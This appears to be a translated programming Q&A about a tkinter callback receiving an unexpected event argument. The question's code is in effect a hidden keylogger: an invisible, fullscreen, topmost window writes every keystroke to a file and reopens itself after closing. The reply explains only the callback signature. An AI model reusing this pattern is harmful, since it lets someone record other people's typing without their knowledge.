为什么我的函数接收参数?

Why is my function receiving an argument?

我有一个我一直在写的程序,但由于某种原因,on_closing 函数正在接收一个参数

代码:

from tkinter import *
from time import sleep

def run():
    global root, target
    target = open("userdata.exe", 'a')
    root = Tk()
    root.attributes("-fullscreen", True)
    root.attributes('-alpha', 0.01)
    root.attributes('-topmost', True)

    def key(event):
        target.write(repr(event.char)+" :")

    frame = Frame(root, width=root.winfo_screenwidth(), height=root.winfo_screenwidth())
    frame.bind("<Key>", key)
    frame.bind("<1>", on_closing)
    frame.pack()
    root.protocol("WM_DELETE_WINDOW", on_closing)
    root.mainloop()

def on_closing():
    root.destroy()
    sleep(10)
    target.close()
    run()


run()

知道为什么会发生这种情况吗?

将回调传递给某些软件(例如 tkinter)时,您必须遵循该系统关于回调签名应该是什么的规则。当 tkinter 调用绑定方法时,它会传递一个 event 参数。参见 Events and Bindings